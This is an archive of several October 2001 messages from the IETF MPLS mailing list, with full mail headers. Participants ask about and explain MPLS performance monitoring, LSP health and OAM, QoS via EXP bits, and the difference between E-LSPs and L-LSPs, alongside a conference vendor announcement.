	for <mpls@uu.net>; Wed, 31 Oct 2001 08:28:25 +0100 (MET)
Message-ID: <9700721.1004513305043.JavaMail.webmail1@wm-java1.fg.online.no>
Date: Wed, 31 Oct 2001 08:28:25 +0100 (CET)
From: Per Eirik Heimdal <perheim@frisurf.no>
To: mpls@UU.NET
Subject: Performance Monitoring on MPLS
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="27104502.1004513305038.JavaMail.webmail1@wm-java1.fg.online.no"
X-Mailer: Frisurf
X-Real-User: perheim
X-Client-Addr: 194.237.142.8
Sender: owner-mpls@UU.NET
Precedence: bulk

--27104502.1004513305038.JavaMail.webmail1@wm-java1.fg.online.no
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi all!
Can anybody help with suggestions to what should be monitored on MPLS level to give an impression of the performance? I am thinking of both traffic parameters and operational isssues (indications if an LSP has gone down etc.)

I would also appreciate references to drafts, RFCs etc. eventually describing this.

Thanks!
BR
Per Eirik
--27104502.1004513305038.JavaMail.webmail1@wm-java1.fg.online.no--



From owner-mpls@UU.NET  Wed Oct 31 08:14:43 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA16240
	for <mpls-archive@lists.ietf.org>; Wed, 31 Oct 2001 08:14:38 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlncu28521;
	Wed, 31 Oct 2001 13:14:44 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlncu14178
	for mpls-outgoing; Wed, 31 Oct 2001 13:13:56 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlncu14005
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 31 Oct 2001 13:13:46 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlncu29513
	for <mpls@UU.NET>; Wed, 31 Oct 2001 13:12:00 GMT
Received: from zcars0mt. by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: h181s242a129n47.user.nortelnetworks.com [47.129.242.181])
	id QQlncu20674
	for <mpls@UU.NET>; Wed, 31 Oct 2001 13:11:49 GMT
Received: by zcars0mt. (SMI-8.6/SMI-SVR4)
	id IAA11029; Wed, 31 Oct 2001 08:07:12 -0500
Date: Wed, 31 Oct 2001 08:07:12 -0500
Message-Id: <200110311307.IAA11029@zcars0mt.>
To: mpls@UU.NET
From: pradeep n <nmnpradeep@yahoo.com>
Subject: Qos In MPLS
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi *,
Where can i get the details of QOS (CoS/EXP) in MPLS.

With Regards
Pradeep

__________________________________________________
Do You Yahoo!?
Make a great connection at Yahoo! Personals.
http://personals.yahoo.com



From owner-mpls@UU.NET  Wed Oct 31 08:44:48 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA17925
	for <mpls-archive@lists.ietf.org>; Wed, 31 Oct 2001 08:44:48 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlncw15232;
	Wed, 31 Oct 2001 13:44:36 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlncw16455
	for mpls-outgoing; Wed, 31 Oct 2001 13:44:21 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlncw16450
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 31 Oct 2001 13:44:19 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlncw02002
	for <mpls@uu.net>; Wed, 31 Oct 2001 13:43:57 GMT
Received: from smtp4.cluster.oleane.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp4.cluster.oleane.net [195.25.12.62])
	id QQlncw19739
	for <mpls@uu.net>; Wed, 31 Oct 2001 13:44:16 GMT
Received: from oleane (upper-side.rain.fr [194.250.212.114]) by smtp4.cluster.oleane.net with SMTP id f9VDhrP61608 for <mpls@uu.net>; Wed, 31 Oct 2001 14:43:54 +0100 (CET)
Message-ID: <001a01c16213$92d640a0$0201a8c0@oleane.com>
Reply-To: "Michel Gosse" <michelg@upperside.fr>
From: "Michel Gosse" <michelg@upperside.fr>
To: <mpls@UU.NET>
Subject: MPLS application showcase
Date: Wed, 31 Oct 2001 14:54:33 +0100
Organization: Upper Side Conferences
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0017_01C1621B.F3C1FBE0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0017_01C1621B.F3C1FBE0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

MPLS World Congress organizers will provide vendors the opportunity to =
showcase their MPLS related applications and technologies to delegates =
attending the event.

Vendors are invited to provide live demonstrations of MPLS related =
products and technologies. The demonstrations can include MPLS based VPN =
applications, or MPLS traffic engineering tools, or MPLS VPN management =
tools.

This possibility is limited to sponsors and exhibitors.

Remind that the simple exhibiting package offers two free passes to the =
whole conference.

More details at :http://www.upperside.fr/congress02/mplsworld2002.htm

Michel Gosse, Upperside


------=_NextPart_000_0017_01C1621B.F3C1FBE0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2>
<P>MPLS World Congress organizers will provide vendors the opportunity =
to=20
showcase their MPLS related applications and technologies to delegates =
attending=20
the event.</P>
<P>Vendors are invited to provide live demonstrations of MPLS related =
products=20
and technologies. The demonstrations can include MPLS based VPN =
applications, or=20
MPLS traffic engineering tools, or MPLS VPN management tools.</P>
<P>This possibility is limited to sponsors and exhibitors.</P>
<P>Remind that the simple exhibiting package offers two free passes to =
the whole=20
conference.</P>
<P>More details at&nbsp;:<A=20
href=3D"http://www.upperside.fr/congress02/mplsworld2002.htm"><FONT=20
size=3D2>http://www.upperside.fr/congress02/mplsworld2002.htm</FONT></A><=
/P>
<P></FONT><FONT face=3DArial size=3D2>Michel Gosse,=20
Upperside</FONT></P></DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_0017_01C1621B.F3C1FBE0--



From owner-mpls@UU.NET  Wed Oct 31 09:19:16 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA19324
	for <mpls-archive@lists.ietf.org>; Wed, 31 Oct 2001 09:19:16 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlncz22034;
	Wed, 31 Oct 2001 14:19:35 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlncz08189
	for mpls-outgoing; Wed, 31 Oct 2001 14:18:59 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlncz08184
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 31 Oct 2001 14:18:51 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlncz01707
	for <mpls@UU.NET>; Wed, 31 Oct 2001 14:18:11 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlncz19810
	for <mpls@UU.NET>; Wed, 31 Oct 2001 14:18:31 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id JAA01944;
	Wed, 31 Oct 2001 09:18:08 -0500 (EST)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id JAA19351;
	Wed, 31 Oct 2001 09:18:09 -0500 (EST)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <VJHLKYT5>; Wed, 31 Oct 2001 09:18:08 -0500
Message-ID: <313680C9A886D511A06000204840E1CF76B851@whq-msgusr-02.pit.comms.marconi.com>
From: "Iren, Sami" <Sami.Iren@marconi.com>
To: "'pradeep n'" <nmnpradeep@yahoo.com>, mpls@UU.NET
Subject: RE: Qos In MPLS
Date: Wed, 31 Oct 2001 09:18:05 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Pradeep:
As I mentioned in my previous mail, you need to
take a look at
draft-ietf-mpls-diff-ext-09.txt

Regards,
--Sami

> -----Original Message-----
> From: pradeep n [mailto:nmnpradeep@yahoo.com]
> Sent: Wednesday, October 31, 2001 8:07 AM
> To: mpls@UU.NET
> Subject: Qos In MPLS
> 
> 
> Hi *,
> Where can i get the details of QOS (CoS/EXP) in MPLS.
> 
> With Regards
> Pradeep
> 
> __________________________________________________
> Do You Yahoo!?
> Make a great connection at Yahoo! Personals.
> http://personals.yahoo.com
> 


From owner-mpls@UU.NET  Wed Oct 31 09:30:30 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA19781
	for <mpls-archive@lists.ietf.org>; Wed, 31 Oct 2001 09:30:30 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlnda04334;
	Wed, 31 Oct 2001 14:30:19 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlnda09037
	for mpls-outgoing; Wed, 31 Oct 2001 14:30:16 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlnda09032
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 31 Oct 2001 14:30:14 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlncz00113
	for <mpls@UU.NET>; Wed, 31 Oct 2001 14:29:57 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlnda06776
	for <mpls@UU.NET>; Wed, 31 Oct 2001 14:30:17 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id JAA03776;
	Wed, 31 Oct 2001 09:29:54 -0500 (EST)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id JAA23184;
	Wed, 31 Oct 2001 09:29:55 -0500 (EST)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <VJHLKZS2>; Wed, 31 Oct 2001 09:29:53 -0500
Message-ID: <313680C9A886D511A06000204840E1CF40B543@whq-msgusr-02.pit.comms.marconi.com>
From: "Punj, Arun" <Arun.Punj@marconi.com>
To: "'Per Eirik Heimdal'" <perheim@frisurf.no>, mpls@UU.NET
Subject: RE: Performance Monitoring on MPLS
Date: Wed, 31 Oct 2001 09:29:53 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Per Eirik,

I think what you are asking is how to ensure/monitor the "health" of an LSP.
A healthy LSP L1 (from E1 to E2) would be defined as one which has any or
all of the following features ( depending afcourse on how healhy you want
your LSPs to be).

1. LSP is operationally up. ( A frame input at E1 will arrive at E2)
2. No leakage of traffic from LSP. ( A frame sent on LSP L1 will not be
misinserted into some other LSP L2 )
3. No leakage of traffic into LSP. ( A frame sent on LSP L2 will not be
received on the LSP L1 )
4. Traffic flowing on L1 gets the service contracted for.
[This list is not exhaustive, but representative]

Generally the procedures used to ensure the health of LSPs ( or VCs ) are
refered to as OAM procedures. Some feature desired of these  procedures (in
addition to above requirements) are  :
- They require no user complaints
- They be MPLS application independent (  be applicable for non IP LSPs too
)
- They should be independent of control planes ( although control planes
themselves may use these procedures for OAM ).

Traditionally IP networks have used tools like PING and TRACEROUTE to ensure
that destinations are reachable and trace the path to the destination etc.
Variants of these procedures have been defined recently for MPLS. However,
they all have various shortcomings, having been originally designed only for
IP world. 

There were some internet drafts which tackled the issue of OAM holistically
by folks like Neil harrison, Shahram Davari etc but I am not sure if they
are still current or expired.


thanks
Arun Punj
Office of CTO, Marconi ,
Ph  : 724-742-7583 - Web: www.marconi.com
1000 Marconi Drive, Warrendale, PA - 15086



> -----Original Message-----
> From: Per Eirik Heimdal [mailto:perheim@frisurf.no]
> Sent: Wednesday, October 31, 2001 2:28 AM
> To: mpls@UU.NET
> Subject: Performance Monitoring on MPLS
> 
> 
> Hi all!
> Can anybody help with suggestions to what should be monitored 
> on MPLS level to give an impression of the performance? I am 
> thinking of both traffic parameters and operational isssues 
> (indications if an LSP has gone down etc.)
> 
> I would also appreciate references to drafts, RFCs etc. 
> eventually describing this.
> 
> Thanks!
> BR
> Per Eirik
> 


From owner-mpls@UU.NET  Wed Oct 31 09:39:52 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA20106
	for <mpls-archive@lists.ietf.org>; Wed, 31 Oct 2001 09:39:51 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlnda21200;
	Wed, 31 Oct 2001 14:39:36 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlnda09729
	for mpls-outgoing; Wed, 31 Oct 2001 14:39:21 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlnda09724
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 31 Oct 2001 14:39:18 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlnda07040
	for <mpls@UU.NET>; Wed, 31 Oct 2001 14:37:36 GMT
Received: from headoffice10_fs by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: ukmailout.marconi.com [194.128.74.8])
	id QQlnda17316
	for <mpls@UU.NET>; Wed, 31 Oct 2001 14:37:24 GMT
Received: FROM headoffice03_fs.headoffice.gecplc.com BY headoffice10_fs ; Wed Oct 31 14:31:38 2001 0000
Received: by HEADOFFICE03_FS with Internet Mail Service (5.5.2653.19)
	id <V6XF5AKM>; Wed, 31 Oct 2001 14:31:36 -0000
Message-ID: <66ADEEFA234AD4119AA600D0B7741E3A023F6103@HEADOFFICE03_FS>
From: "Fan, Zhong" <Zhong.Fan@marconi.com>
To: mpls@UU.NET
Subject: question on e-lsp and l-lsp
Date: Wed, 31 Oct 2001 14:31:35 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Dear all

Can anybody shed some light on the differences between e-lsp and l-lsp
please? I'm reading draft-ietf-mpls-diff-ext-09.txt at the moment. Although
the draft gives denifition of these two kinds of LSPs, I am still confused.
Is this all about the mapping of diffserv classes to MPLS FEC or EXP? 

Zhong


From owner-mpls@UU.NET  Wed Oct 31 09:46:59 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA20450
	for <mpls-archive@lists.ietf.org>; Wed, 31 Oct 2001 09:46:59 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlndb04720;
	Wed, 31 Oct 2001 14:47:16 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlndb10497
	for mpls-outgoing; Wed, 31 Oct 2001 14:46:21 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlndb10472
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 31 Oct 2001 14:46:13 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlndb02383
	for <mpls@uu.net>; Wed, 31 Oct 2001 14:46:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlndb10454
	for <mpls@uu.net>; Wed, 31 Oct 2001 14:46:22 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA02480 for <mpls@uu.net>; Wed, 31 Oct 2001 09:46:01 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA17728 for mpls@uu.net; Wed, 31 Oct 2001 09:46:01 -0500 (EST)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlndb10336
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 31 Oct 2001 14:45:07 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlnda07046
	for <mpls@UU.NET>; Wed, 31 Oct 2001 14:44:59 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlndb08683
	for <mpls@UU.NET>; Wed, 31 Oct 2001 14:45:19 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA02338; Wed, 31 Oct 2001 09:44:58 -0500 (EST)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id AAD00546;
	Wed, 31 Oct 2001 09:44:57 -0500 (EST)
Message-Id: <4.3.2.7.2.20011031094412.01bb3578@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 31 Oct 2001 09:45:52 -0500
To: Per Eirik Heimdal <perheim@frisurf.no>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: Re: Performance Monitoring on MPLS
Cc: mpls@UU.NET
In-Reply-To: <9700721.1004513305043.JavaMail.webmail1@wm-java1.fg.online
 .no>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_8444122==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_8444122==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed


>Can anybody help with suggestions to what should be monitored on MPLS 
>level to give an impression of the performance? I am thinking of both 
>traffic parameters and operational isssues (indications if an LSP has gone 
>down etc.)

         Can you give me an idea of which applications of MPLS
you are interesting in monitoring (i.e.: VPN, TE, PWE3, general/auto-routed)?
That will allow me to be specific about what is available from the IETF
and elsewhere.

         --Tom



>I would also appreciate references to drafts, RFCs etc. eventually 
>describing this.





>Thanks!
>BR
>Per Eirik



------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 
--=====================_8444122==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font size=3><br>
<blockquote type=cite cite>Can anybody help with suggestions to what
should be monitored on MPLS level to give an impression of the
performance? I am thinking of both traffic parameters and operational
isssues (indications if an LSP has gone down
etc.)</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Can you
give me an idea of which applications of MPLS<br>
you are interesting in monitoring (i.e.: VPN, TE, PWE3,
general/auto-routed)?<br>
That will allow me to be specific about what is available from the
IETF<br>
and elsewhere.<br>
<br>
<font size=3><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
<br>
<blockquote type=cite cite>I would also appreciate references to drafts,
RFCs etc. eventually describing this.</font></blockquote><br>
<br>
<br>
<br>
<br>
<blockquote type=cite cite><font size=3>Thanks!<br>
BR<br>
Per Eirik </font></blockquote><br>
<br>
<br>
<div>------------------------------------------------------------------------</div>
Mathematics is the supreme nostalgia of our time. 
</html>

--=====================_8444122==_.ALT--



From owner-mpls@UU.NET  Wed Oct 31 10:05:12 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA20983
	for <mpls-archive@lists.ietf.org>; Wed, 31 Oct 2001 10:05:12 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlndc06891;
	Wed, 31 Oct 2001 15:05:33 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlndc22168
	for mpls-outgoing; Wed, 31 Oct 2001 15:04:55 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlndc22069
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 31 Oct 2001 15:04:50 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlndc23094
	for <mpls@UU.NET>; Wed, 31 Oct 2001 15:03:40 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlndc04219
	for <mpls@UU.NET>; Wed, 31 Oct 2001 15:04:01 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA08368
	for <mpls@UU.NET>; Wed, 31 Oct 2001 10:03:37 -0500 (EST)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA05560
	for <mpls@UU.NET>; Wed, 31 Oct 2001 10:03:38 -0500 (EST)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <VJHLK8FL>; Wed, 31 Oct 2001 10:03:37 -0500
Message-ID: <313680C9A886D511A06000204840E1CF76B852@whq-msgusr-02.pit.comms.marconi.com>
From: "Iren, Sami" <Sami.Iren@marconi.com>
To: "'Fan, Zhong'" <Zhong.Fan@marconi.com>, mpls@UU.NET
Subject: RE: question on e-lsp and l-lsp
Date: Wed, 31 Oct 2001 10:03:37 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Zhong:
The technical definition of E-LSPs and L-LSPs are in the draft
you mentioned. The Layman's definition of these terms are as
follows:

"An E-LSP is a connection (LSP) that can carry multiple
 (up to 8) diffserv service classes at the same time.
 The service class for each packet is determined by 
 looking at the EXP bits on the label."

"An L-LSP is a connection (LSP) that can carry only
 one diffserv class at one time. This service class
 is signalled at the lsp establishment time. In this
 case the EXP bits carry the drop precedence of the
 packet (for AF service classes)."

I hope this helps.
--Sami

> -----Original Message-----
> From: Fan, Zhong [mailto:Zhong.Fan@marconi.com]
> Sent: Wednesday, October 31, 2001 9:32 AM
> To: mpls@UU.NET
> Subject: question on e-lsp and l-lsp
> 
> 
> Dear all
> 
> Can anybody shed some light on the differences between e-lsp and l-lsp
> please? I'm reading draft-ietf-mpls-diff-ext-09.txt at the 
> moment. Although
> the draft gives denifition of these two kinds of LSPs, I am 
> still confused.
> Is this all about the mapping of diffserv classes to MPLS FEC or EXP? 
> 
> Zhong
> 


From owner-mpls@UU.NET  Wed Oct 31 10:30:20 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA21750
	for <mpls-archive@lists.ietf.org>; Wed, 31 Oct 2001 10:30:20 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlnde00016;
	Wed, 31 Oct 2001 15:30:40 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlnde02949
	for mpls-outgoing; Wed, 31 Oct 2001 15:30:04 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlndd02921
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 31 Oct 2001 15:29:54 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlndd07059
	for <mpls@UU.NET>; Wed, 31 Oct 2001 15:27:56 GMT
Received: from kcmso1.proxy.att.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: kcmso1.att.com [192.128.133.69])
	id QQlndd25001
	for <mpls@UU.NET>; Wed, 31 Oct 2001 15:28:16 GMT
Received: from njb140r1.ems.att.com ([135.65.202.58])
	by kcmso1.proxy.att.com (AT&T IPNS/MSO-3.0) with ESMTP id f9VFRgY02700;
	Wed, 31 Oct 2001 10:27:42 -0500 (EST)
Received: from njb140bh2.ems.att.com by njb140r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2)
	id KAA08768; Wed, 31 Oct 2001 10:26:07 -0500 (EST)
Received: by NJB140BH2 with Internet Mail Service (5.5.2653.19)
	id <V6XRRYXM>; Wed, 31 Oct 2001 10:27:26 -0500
Message-ID: <28F05913385EAC43AF019413F674A0172207FD@OCCLUST04EVS1.ugd.att.com>
From: "Cuevas, Enrique G, ALCTA" <ecuevas@att.com>
To: Thomas Nadeau <tnadeau@cisco.com>,
        Per Eirik Heimdal
	 <perheim@frisurf.no>
Cc: mpls@UU.NET
Subject: RE: Performance Monitoring on MPLS
Date: Wed, 31 Oct 2001 10:26:35 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C16220.6D8A77D2"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C16220.6D8A77D2
Content-Type: text/plain;
	charset="iso-8859-1"

Tom,
How about for all of the applications you mentioned? I think that would be
very helpful. After all, operators plan to use MPLS for various applications
and we are seeking for a robust MPLS platform that can provide adequate
